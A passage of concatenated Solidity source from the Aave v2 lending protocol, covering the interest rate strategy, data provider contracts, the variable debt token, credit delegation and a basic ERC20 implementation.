@dev Only WETH contract is allowed to transfer ETH here. Prevent other addresses to send Ether to this contract. */ receive() external payable { require(msg.sender == address(WETH), 'Receive not allowed'); } /** * @dev Revert fallback calls */ fallback() external payable { revert('Fallback not allowed'); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETH { function deposit() external payable; function withdraw(uint256) external; function approve(address guy, uint256 wad) external returns (bool); function transferFrom( address src, address dst, uint256 wad ) external returns (bool); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface IWETHGateway { function depositETH(address onBehalfOf, uint16 referralCode) external payable; function withdrawETH(uint256 amount, address onBehalfOf) external; function repayETH( uint256 amount, uint256 rateMode, address onBehalfOf ) external payable; function borrowETH( uint256 amount, uint256 interesRateMode, uint16 referralCode ) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IReserveInterestRateStrategy} from '../../interfaces/IReserveInterestRateStrategy.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {PercentageMath} from '../libraries/math/PercentageMath.sol'; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingRateOracle} from '../../interfaces/ILendingRateOracle.sol'; /** * @title DefaultReserveInterestRateStrategy contract * @notice Implements the calculation of the interest rates depending on the reserve state * @dev The model of interest rate is based on 2 slopes, one before the `OPTIMAL_UTILIZATION_RATE` * point of utilization and another from that one to 100% * - An instance of this same contract, can't be used across different Aave markets, due to the caching * of the LendingPoolAddressesProvider * @author Aave **/ contract DefaultReserveInterestRateStrategy is IReserveInterestRateStrategy { using WadRayMath for uint256; using SafeMath for uint256; using PercentageMath for uint256; /** * @dev this constant represents the utilization rate at which the pool aims to obtain most competitive borrow rates. * Expressed in ray **/ uint256 public immutable OPTIMAL_UTILIZATION_RATE; /** * @dev This constant represents the excess utilization rate above the optimal. It's always equal to * 1-optimal utilization rate. Added as a constant here for gas optimizations. * Expressed in ray **/ uint256 public immutable EXCESS_UTILIZATION_RATE; ILendingPoolAddressesProvider public immutable addressesProvider; // Base variable borrow rate when Utilization rate = 0. Expressed in ray uint256 internal immutable _baseVariableBorrowRate; // Slope of the variable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope1; // Slope of the variable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _variableRateSlope2; // Slope of the stable interest curve when utilization rate > 0 and <= OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope1; // Slope of the stable interest curve when utilization rate > OPTIMAL_UTILIZATION_RATE. Expressed in ray uint256 internal immutable _stableRateSlope2; constructor( ILendingPoolAddressesProvider provider, uint256 optimalUtilizationRate, uint256 baseVariableBorrowRate, uint256 variableRateSlope1, uint256 variableRateSlope2, uint256 stableRateSlope1, uint256 stableRateSlope2 ) public { OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate; EXCESS_UTILIZATION_RATE = WadRayMath.ray().sub(optimalUtilizationRate); addressesProvider = provider; _baseVariableBorrowRate = baseVariableBorrowRate; _variableRateSlope1 = variableRateSlope1; _variableRateSlope2 = variableRateSlope2; _stableRateSlope1 = stableRateSlope1; _stableRateSlope2 = stableRateSlope2; } function variableRateSlope1() external view returns (uint256) { return _variableRateSlope1; } function variableRateSlope2() external view returns (uint256) { return _variableRateSlope2; } function stableRateSlope1() external view returns (uint256) { return _stableRateSlope1; } function stableRateSlope2() external view returns (uint256) { return _stableRateSlope2; } function baseVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate; } function getMaxVariableBorrowRate() external view override returns (uint256) { return _baseVariableBorrowRate.add(_variableRateSlope1).add(_variableRateSlope2); } struct CalcInterestRatesLocalVars { uint256 totalDebt; uint256 currentVariableBorrowRate; uint256 currentStableBorrowRate; uint256 currentLiquidityRate; uint256 utilizationRate; } /** * @dev Calculates the interest rates depending on the reserve's state and configurations * @param reserve The address of the reserve * @param availableLiquidity The liquidity available in the reserve * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param averageStableBorrowRate The weighted average of all the stable rate loans * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market * @return The liquidity rate, the stable borrow rate and the variable borrow rate **/ function calculateInterestRates( address reserve, uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 averageStableBorrowRate, uint256 reserveFactor ) external view override returns ( uint256, uint256, uint256 ) { CalcInterestRatesLocalVars memory vars; vars.totalDebt = totalStableDebt.add(totalVariableDebt); vars.currentVariableBorrowRate = 0; vars.currentStableBorrowRate = 0; vars.currentLiquidityRate = 0; uint256 utilizationRate = vars.totalDebt == 0 ? 0 : vars.totalDebt.rayDiv(availableLiquidity.add(vars.totalDebt)); vars.currentStableBorrowRate = ILendingRateOracle(addressesProvider.getLendingRateOracle()) .getMarketBorrowRate(reserve); if (utilizationRate > OPTIMAL_UTILIZATION_RATE) { uint256 excessUtilizationRateRatio = utilizationRate.sub(OPTIMAL_UTILIZATION_RATE).rayDiv(EXCESS_UTILIZATION_RATE); vars.currentStableBorrowRate = vars.currentStableBorrowRate.add(_stableRateSlope1).add( _stableRateSlope2.rayMul(excessUtilizationRateRatio) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add(_variableRateSlope1).add( _variableRateSlope2.rayMul(excessUtilizationRateRatio) ); } else { vars.currentStableBorrowRate = vars.currentStableBorrowRate.add( _stableRateSlope1.rayMul(utilizationRate.rayDiv(OPTIMAL_UTILIZATION_RATE)) ); vars.currentVariableBorrowRate = _baseVariableBorrowRate.add( utilizationRate.rayMul(_variableRateSlope1).rayDiv(OPTIMAL_UTILIZATION_RATE) ); } vars.currentLiquidityRate = _getOverallBorrowRate( totalStableDebt, totalVariableDebt, vars .currentVariableBorrowRate, averageStableBorrowRate ) .rayMul(utilizationRate) .percentMul(PercentageMath.PERCENTAGE_FACTOR.sub(reserveFactor)); return ( vars.currentLiquidityRate, vars.currentStableBorrowRate, vars.currentVariableBorrowRate ); } /** * @dev Calculates the overall borrow rate as the weighted average between the total variable debt and total stable debt * @param totalStableDebt The total borrowed from the reserve a stable rate * @param totalVariableDebt The total borrowed from the reserve at a variable rate * @param currentVariableBorrowRate The current variable borrow rate of the reserve * @param currentAverageStableBorrowRate The current weighted average of all the stable rate loans * @return The weighted averaged borrow rate **/ function _getOverallBorrowRate( uint256 totalStableDebt, uint256 totalVariableDebt, uint256 currentVariableBorrowRate, uint256 currentAverageStableBorrowRate ) internal pure returns (uint256) { uint256 totalDebt = totalStableDebt.add(totalVariableDebt); if (totalDebt == 0) return 0; uint256 weightedVariableRate = totalVariableDebt.wadToRay().rayMul(currentVariableBorrowRate); uint256 weightedStableRate = totalStableDebt.wadToRay().rayMul(currentAverageStableBorrowRate); uint256 overallBorrowRate = weightedVariableRate.add(weightedStableRate).rayDiv(totalDebt.wadToRay()); return overallBorrowRate; } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; /** * @title ILendingRateOracle interface * @notice Interface for the Aave borrow rate oracle. Provides the average market borrow rate to be used as a base for the stable borrow rate calculations **/ interface ILendingRateOracle { /** @dev returns the market borrow rate in ray **/ function getMarketBorrowRate(address asset) external view returns (uint256); /** @dev sets the market borrow rate. Rate value must be in ray **/ function setMarketBorrowRate(address asset, uint256 rate) external; } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {IUiPoolDataProvider} from './interfaces/IUiPoolDataProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IPriceOracleGetter} from '../interfaces/IPriceOracleGetter.sol'; import {IAToken} from '../interfaces/IAToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {WadRayMath} from '../protocol/libraries/math/WadRayMath.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; import { DefaultReserveInterestRateStrategy } from '../protocol/lendingpool/DefaultReserveInterestRateStrategy.sol'; contract UiPoolDataProvider is IUiPoolDataProvider { using WadRayMath for uint256; using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address public constant MOCK_USD_ADDRESS = 0x10F7Fc1F91Ba351f9C629c5947AD69bD03C05b96; function getInterestRateStrategySlopes(DefaultReserveInterestRateStrategy interestRateStrategy) internal view returns ( uint256, uint256, uint256, uint256 ) { return ( interestRateStrategy.variableRateSlope1(), interestRateStrategy.variableRateSlope2(), interestRateStrategy.stableRateSlope1(), interestRateStrategy.stableRateSlope2() ); } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view override returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ) { ILendingPool lendingPool = ILendingPool(provider.getLendingPool()); IPriceOracleGetter oracle = IPriceOracleGetter(provider.getPriceOracle()); address[] memory reserves = lendingPool.getReservesList(); DataTypes.UserConfigurationMap memory userConfig = lendingPool.getUserConfiguration(user); AggregatedReserveData[] memory reservesData = new AggregatedReserveData[](reserves.length); UserReserveData[] memory userReservesData = new UserReserveData[](user != address(0) ? reserves.length : 0); for (uint256 i = 0; i < reserves.length; i++) { AggregatedReserveData memory reserveData = reservesData[i]; reserveData.underlyingAsset = reserves[i]; // reserve current state DataTypes.ReserveData memory baseData = lendingPool.getReserveData(reserveData.underlyingAsset); reserveData.liquidityIndex = baseData.liquidityIndex; reserveData.variableBorrowIndex = baseData.variableBorrowIndex; reserveData.liquidityRate = baseData.currentLiquidityRate; reserveData.variableBorrowRate = baseData.currentVariableBorrowRate; reserveData.stableBorrowRate = baseData.currentStableBorrowRate; reserveData.lastUpdateTimestamp = baseData.lastUpdateTimestamp; reserveData.aTokenAddress = baseData.aTokenAddress; reserveData.stableDebtTokenAddress = baseData.stableDebtTokenAddress; reserveData.variableDebtTokenAddress = baseData.variableDebtTokenAddress; reserveData.interestRateStrategyAddress = baseData.interestRateStrategyAddress; reserveData.priceInEth = oracle.getAssetPrice(reserveData.underlyingAsset); reserveData.availableLiquidity = IERC20Detailed(reserveData.underlyingAsset).balanceOf( reserveData.aTokenAddress ); ( reserveData.totalPrincipalStableDebt, , reserveData.averageStableRate, reserveData.stableDebtLastUpdateTimestamp ) = IStableDebtToken(reserveData.stableDebtTokenAddress).getSupplyData(); reserveData.totalScaledVariableDebt = IVariableDebtToken(reserveData.variableDebtTokenAddress) .scaledTotalSupply(); // reserve configuration // we're getting this info from the aToken, because some of assets can be not compliant with ETC20Detailed reserveData.symbol = IERC20Detailed(reserveData.aTokenAddress).symbol(); reserveData.name = ''; ( reserveData.baseLTVasCollateral, reserveData.reserveLiquidationThreshold, reserveData.reserveLiquidationBonus, reserveData.decimals, reserveData.reserveFactor ) = baseData.configuration.getParamsMemory(); ( reserveData.isActive, reserveData.isFrozen, reserveData.borrowingEnabled, reserveData.stableBorrowRateEnabled ) = baseData.configuration.getFlagsMemory(); reserveData.usageAsCollateralEnabled = reserveData.baseLTVasCollateral != 0; ( reserveData.variableRateSlope1, reserveData.variableRateSlope2, reserveData.stableRateSlope1, reserveData.stableRateSlope2 ) = getInterestRateStrategySlopes( DefaultReserveInterestRateStrategy(reserveData.interestRateStrategyAddress) ); if (user != address(0)) { // user reserve data userReservesData[i].underlyingAsset = reserveData.underlyingAsset; userReservesData[i].scaledATokenBalance = IAToken(reserveData.aTokenAddress) .scaledBalanceOf(user); userReservesData[i].usageAsCollateralEnabledOnUser = userConfig.isUsingAsCollateral(i); if (userConfig.isBorrowing(i)) { userReservesData[i].scaledVariableDebt = IVariableDebtToken( reserveData .variableDebtTokenAddress ) .scaledBalanceOf(user); userReservesData[i].principalStableDebt = IStableDebtToken( reserveData .stableDebtTokenAddress ) .principalBalanceOf(user); if (userReservesData[i].principalStableDebt != 0) { userReservesData[i].stableBorrowRate = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserStableRate(user); userReservesData[i].stableBorrowLastUpdateTimestamp = IStableDebtToken( reserveData .stableDebtTokenAddress ) .getUserLastUpdated(user); } } } } return (reservesData, userReservesData, oracle.getAssetPrice(MOCK_USD_ADDRESS)); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {ILendingPoolAddressesProvider} from '../../interfaces/ILendingPoolAddressesProvider.sol'; interface IUiPoolDataProvider { struct AggregatedReserveData { address underlyingAsset; string name; string symbol; uint256 decimals; uint256 baseLTVasCollateral; uint256 reserveLiquidationThreshold; uint256 reserveLiquidationBonus; uint256 reserveFactor; bool usageAsCollateralEnabled; bool borrowingEnabled; bool stableBorrowRateEnabled; bool isActive; bool isFrozen; // base data uint128 liquidityIndex; uint128 variableBorrowIndex; uint128 liquidityRate; uint128 variableBorrowRate; uint128 stableBorrowRate; uint40 lastUpdateTimestamp; address aTokenAddress; address stableDebtTokenAddress; address variableDebtTokenAddress; address interestRateStrategyAddress; // uint256 availableLiquidity; uint256 totalPrincipalStableDebt; uint256 averageStableRate; uint256 stableDebtLastUpdateTimestamp; uint256 totalScaledVariableDebt; uint256 priceInEth; uint256 variableRateSlope1; uint256 variableRateSlope2; uint256 stableRateSlope1; uint256 stableRateSlope2; } // // struct ReserveData { // uint256 averageStableBorrowRate; // uint256 totalLiquidity; // } struct UserReserveData { address underlyingAsset; uint256 scaledATokenBalance; bool usageAsCollateralEnabledOnUser; uint256 stableBorrowRate; uint256 scaledVariableDebt; uint256 principalStableDebt; uint256 stableBorrowLastUpdateTimestamp; } // // struct ATokenSupplyData { // string name; // string symbol; // uint8 decimals; // uint256 totalSupply; // address aTokenAddress; // } function getReservesData(ILendingPoolAddressesProvider provider, address user) external view returns ( AggregatedReserveData[] memory, UserReserveData[] memory, uint256 ); // function getUserReservesData(ILendingPoolAddressesProvider provider, address user) // external // view // returns (UserReserveData[] memory); // // function getAllATokenSupply(ILendingPoolAddressesProvider provider) // external // view // returns (ATokenSupplyData[] memory); // // function getATokenSupply(address[] calldata aTokens) // external // view // returns (ATokenSupplyData[] memory); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; pragma experimental ABIEncoderV2; import {IERC20Detailed} from '../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {ILendingPoolAddressesProvider} from '../interfaces/ILendingPoolAddressesProvider.sol'; import {ILendingPool} from '../interfaces/ILendingPool.sol'; import {IStableDebtToken} from '../interfaces/IStableDebtToken.sol'; import {IVariableDebtToken} from '../interfaces/IVariableDebtToken.sol'; import {ReserveConfiguration} from '../protocol/libraries/configuration/ReserveConfiguration.sol'; import {UserConfiguration} from '../protocol/libraries/configuration/UserConfiguration.sol'; import {DataTypes} from '../protocol/libraries/types/DataTypes.sol'; contract AaveProtocolDataProvider { using ReserveConfiguration for DataTypes.ReserveConfigurationMap; using UserConfiguration for DataTypes.UserConfigurationMap; address constant MKR = 0x9f8F72aA9304c8B593d555F12eF6589cC3A579A2; address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE; struct TokenData { string symbol; address tokenAddress; } ILendingPoolAddressesProvider public immutable ADDRESSES_PROVIDER; constructor(ILendingPoolAddressesProvider addressesProvider) public { ADDRESSES_PROVIDER = addressesProvider; } function getAllReservesTokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory reservesTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { if (reserves[i] == MKR) { reservesTokens[i] = TokenData({symbol: 'MKR', tokenAddress: reserves[i]}); continue; } if (reserves[i] == ETH) { reservesTokens[i] = TokenData({symbol: 'ETH', tokenAddress: reserves[i]}); continue; } reservesTokens[i] = TokenData({ symbol: IERC20Detailed(reserves[i]).symbol(), tokenAddress: reserves[i] }); } return reservesTokens; } function getAllATokens() external view returns (TokenData[] memory) { ILendingPool pool = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()); address[] memory reserves = pool.getReservesList(); TokenData[] memory aTokens = new TokenData[](reserves.length); for (uint256 i = 0; i < reserves.length; i++) { DataTypes.ReserveData memory reserveData = pool.getReserveData(reserves[i]); aTokens[i] = TokenData({ symbol: IERC20Detailed(reserveData.aTokenAddress).symbol(), tokenAddress: reserveData.aTokenAddress }); } return aTokens; } function getReserveConfigurationData(address asset) external view returns ( uint256 decimals, uint256 ltv, uint256 liquidationThreshold, uint256 liquidationBonus, uint256 reserveFactor, bool usageAsCollateralEnabled, bool borrowingEnabled, bool stableBorrowRateEnabled, bool isActive, bool isFrozen ) { DataTypes.ReserveConfigurationMap memory configuration = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getConfiguration(asset); (ltv, liquidationThreshold, liquidationBonus, decimals, reserveFactor) = configuration .getParamsMemory(); (isActive, isFrozen, borrowingEnabled, stableBorrowRateEnabled) = configuration .getFlagsMemory(); usageAsCollateralEnabled = liquidationThreshold > 0; } function getReserveData(address asset) external view returns ( uint256 availableLiquidity, uint256 totalStableDebt, uint256 totalVariableDebt, uint256 liquidityRate, uint256 variableBorrowRate, uint256 stableBorrowRate, uint256 averageStableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex, uint40 lastUpdateTimestamp ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( IERC20Detailed(asset).balanceOf(reserve.aTokenAddress), IERC20Detailed(reserve.stableDebtTokenAddress).totalSupply(), IERC20Detailed(reserve.variableDebtTokenAddress).totalSupply(), reserve.currentLiquidityRate, reserve.currentVariableBorrowRate, reserve.currentStableBorrowRate, IStableDebtToken(reserve.stableDebtTokenAddress).getAverageStableRate(), reserve.liquidityIndex, reserve.variableBorrowIndex, reserve.lastUpdateTimestamp ); } function getUserReserveData(address asset, address user) external view returns ( uint256 currentATokenBalance, uint256 currentStableDebt, uint256 currentVariableDebt, uint256 principalStableDebt, uint256 scaledVariableDebt, uint256 stableBorrowRate, uint256 liquidityRate, uint40 stableRateLastUpdated, bool usageAsCollateralEnabled ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); DataTypes.UserConfigurationMap memory userConfig = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getUserConfiguration(user); currentATokenBalance = IERC20Detailed(reserve.aTokenAddress).balanceOf(user); currentVariableDebt = IERC20Detailed(reserve.variableDebtTokenAddress).balanceOf(user); currentStableDebt = IERC20Detailed(reserve.stableDebtTokenAddress).balanceOf(user); principalStableDebt = IStableDebtToken(reserve.stableDebtTokenAddress).principalBalanceOf(user); scaledVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress).scaledBalanceOf(user); liquidityRate = reserve.currentLiquidityRate; stableBorrowRate = IStableDebtToken(reserve.stableDebtTokenAddress).getUserStableRate(user); stableRateLastUpdated = IStableDebtToken(reserve.stableDebtTokenAddress).getUserLastUpdated( user ); usageAsCollateralEnabled = userConfig.isUsingAsCollateral(reserve.id); } function getReserveTokensAddresses(address asset) external view returns ( address aTokenAddress, address stableDebtTokenAddress, address variableDebtTokenAddress ) { DataTypes.ReserveData memory reserve = ILendingPool(ADDRESSES_PROVIDER.getLendingPool()).getReserveData(asset); return ( reserve.aTokenAddress, reserve.stableDebtTokenAddress, reserve.variableDebtTokenAddress ); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {IVariableDebtToken} from '../../interfaces/IVariableDebtToken.sol'; import {WadRayMath} from '../libraries/math/WadRayMath.sol'; import {Errors} from '../libraries/helpers/Errors.sol'; import {DebtTokenBase} from './base/DebtTokenBase.sol'; /** * @title VariableDebtToken * @notice Implements a variable debt token to track the borrowing positions of users * at variable rate mode * @author Aave **/ contract VariableDebtToken is DebtTokenBase, IVariableDebtToken { using WadRayMath for uint256; uint256 public constant DEBT_TOKEN_REVISION = 0x1; constructor( address pool, address underlyingAsset, string memory name, string memory symbol, address incentivesController ) public DebtTokenBase(pool, underlyingAsset, name, symbol, incentivesController) {} /** * @dev Gets the revision of the stable debt token implementation * @return The debt token implementation revision **/ function getRevision() internal pure virtual override returns (uint256) { return DEBT_TOKEN_REVISION; } /** * @dev Calculates the accumulated debt balance of the user * @return The debt balance of the user **/ function balanceOf(address user) public view virtual override returns (uint256) { uint256 scaledBalance = super.balanceOf(user); if (scaledBalance == 0) { return 0; } return scaledBalance.rayMul(POOL.getReserveNormalizedVariableDebt(UNDERLYING_ASSET_ADDRESS)); } /** * @dev Mints debt token to the `onBehalfOf` address * - Only callable by the LendingPool * @param user The address receiving the borrowed underlying, being the delegatee in case * of credit delegate, or same as `onBehalfOf` otherwise * @param onBehalfOf The address receiving the debt tokens * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, address onBehalfOf, uint256 amount, uint256 index ) external override onlyLendingPool returns (bool) { if (user != onBehalfOf) { _decreaseBorrowAllowance(onBehalfOf, user, amount); } uint256 previousBalance = super.balanceOf(onBehalfOf); uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(onBehalfOf, amountScaled); emit Transfer(address(0), onBehalfOf, amount); emit Mint(user, onBehalfOf, amount, index); return previousBalance == 0; } /** * @dev Burns user variable debt * - Only callable by the LendingPool * @param user The user whose debt is getting burned * @param amount The amount getting burned * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external override onlyLendingPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); } /** * @dev Returns the principal debt balance of the user from * @return The debt balance of the user since the last burn/mint action **/ function scaledBalanceOf(address user) public view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the total supply of the variable debt token. Represents the total debt accrued by the users * @return The total supply **/ function totalSupply() public view virtual override returns (uint256) { return super.totalSupply().rayMul(POOL.getReserveNormalizedVariableDebt(UNDERLYING_ASSET_ADDRESS)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the principal balance of the user and principal total supply. * @param user The address of the user * @return The principal balance of the user * @return The principal total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {ILendingPool} from '../../../interfaces/ILendingPool.sol'; import {ICreditDelegationToken} from '../../../interfaces/ICreditDelegationToken.sol'; import { VersionedInitializable } from '../../libraries/aave-upgradeability/VersionedInitializable.sol'; import {IncentivizedERC20} from '../IncentivizedERC20.sol'; import {Errors} from '../../libraries/helpers/Errors.sol'; /** * @title DebtTokenBase * @notice Base contract for different types of debt tokens, like StableDebtToken or VariableDebtToken * @author Aave */ abstract contract DebtTokenBase is IncentivizedERC20, VersionedInitializable, ICreditDelegationToken { address public immutable UNDERLYING_ASSET_ADDRESS; ILendingPool public immutable POOL; mapping(address => mapping(address => uint256)) internal _borrowAllowances; /** * @dev Only lending pool can call functions marked by this modifier **/ modifier onlyLendingPool { require(_msgSender() == address(POOL), Errors.CT_CALLER_MUST_BE_LENDING_POOL); _; } /** * @dev The metadata of the token will be set on the proxy, that the reason of * passing "NULL" and 0 as metadata */ constructor( address pool, address underlyingAssetAddress, string memory name, string memory symbol, address incentivesController ) public IncentivizedERC20(name, symbol, 18, incentivesController) { POOL = ILendingPool(pool); UNDERLYING_ASSET_ADDRESS = underlyingAssetAddress; } /** * @dev Initializes the debt token. * @param name The name of the token * @param symbol The symbol of the token * @param decimals The decimals of the token */ function initialize( uint8 decimals, string memory name, string memory symbol ) public initializer { _setName(name); _setSymbol(symbol); _setDecimals(decimals); } /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external override { _borrowAllowances[_msgSender()][delegatee] = amount; emit BorrowAllowanceDelegated(_msgSender(), delegatee, UNDERLYING_ASSET_ADDRESS, amount); } /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view override returns (uint256) { return _borrowAllowances[fromUser][toUser]; } /** * @dev Being non transferrable, the debt token does not implement any of the * standard ERC20 functions for transfer and allowance. **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function allowance(address owner, address spender) public view virtual override returns (uint256) { owner; spender; revert('ALLOWANCE_NOT_SUPPORTED'); } function approve(address spender, uint256 amount) public virtual override returns (bool) { spender; amount; revert('APPROVAL_NOT_SUPPORTED'); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { sender; recipient; amount; revert('TRANSFER_NOT_SUPPORTED'); } function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { spender; addedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) { spender; subtractedValue; revert('ALLOWANCE_NOT_SUPPORTED'); } function _decreaseBorrowAllowance( address delegator, address delegatee, uint256 amount ) internal { uint256 newAllowance = _borrowAllowances[delegator][delegatee].sub(amount, Errors.BORROW_ALLOWANCE_NOT_ENOUGH); _borrowAllowances[delegator][delegatee] = newAllowance; emit BorrowAllowanceDelegated(delegator, delegatee, UNDERLYING_ASSET_ADDRESS, newAllowance); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; interface ICreditDelegationToken { event BorrowAllowanceDelegated( address indexed fromUser, address indexed toUser, address asset, uint256 amount ); /** * @dev delegates borrowing power to a user on the specific debt token * @param delegatee the address receiving the delegated borrowing power * @param amount the maximum amount being delegated. Delegation will still * respect the liquidation constraints (even if delegated, a delegatee cannot * force a delegator HF to go below 1) **/ function approveDelegation(address delegatee, uint256 amount) external; /** * @dev returns the borrow allowance of the user * @param fromUser The user to giving allowance * @param toUser The user to give allowance to * @return the current allowance of toUser **/ function borrowAllowance(address fromUser, address toUser) external view returns (uint256); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.6.12; import {Context} from '../../dependencies/openzeppelin/contracts/Context.sol'; import {IERC20} from '../../dependencies/openzeppelin/contracts/IERC20.sol'; import {IERC20Detailed} from '../../dependencies/openzeppelin/contracts/IERC20Detailed.sol'; import {SafeMath} from '../../dependencies/openzeppelin/contracts/SafeMath.sol'; import {IAaveIncentivesController} from '../../interfaces/IAaveIncentivesController.sol'; /** * @title ERC20 * @notice Basic ERC20 implementation * @author Aave, inspired by the Openzeppelin ERC20 implementation **/ contract IncentivizedERC20 is Context, IERC20, IERC20Detailed { using SafeMath for uint256; IAaveIncentivesController internal immutable _incentivesController; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) private _allowances; uint256 internal _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor( string memory name, string memory symbol, uint8 decimals, address incentivesController ) public { _name = name; _symbol = symbol; _decimals = decimals; _incentivesController = IAaveIncentivesController(incentivesController); } /** * @return The name of the token **/ function name() public view override returns (string memory) { return _name; } /** * @return The symbol of the token **/ function symbol() public view override returns (string memory) { return _symbol; } /** * @return The decimals of the token **/ function decimals() public view override returns (uint8) { return _decimals; } /** * @return The total supply of the token **/ function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } /** * @return The balance of the token **/ function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } /** * @dev Executes a transfer of tokens from _msgSender() to recipient * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); emit Transfer(_msgSender(), recipient, amount); return true; } /** * @dev Returns the allowance of spender on the tokens owned by owner * @param owner The owner of the tokens * @param spender The user allowed to spend the owner's tokens * @return The amount of owner's tokens spender is allowed to spend **/ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev Allows `spender` to spend the tokens owned by _msgSender() * @param spender The user allowed to spend _msgSender() tokens * @return `true` **/ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev Executes a transfer of token from sender to recipient, if _msgSender() is allowed to do so * @param sender The owner of the tokens * @param recipient The recipient of the tokens * @param amount The amount of tokens being transferred * @return `true` if the transfer succeeds, `false` otherwise **/ function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, 'ERC20: transfer amount exceeds allowance') ); emit Transfer(sender, recipient, amount); return true; } /** * @dev Increases the allowance of spender to spend _msgSender() tokens * @param spender The user allowed to spend on behalf of _msgSender() * @param addedValue The amount being added to the allowance * @return `true` **/ function increaseAllowance(address spender, uint256 addedValue) public virtual 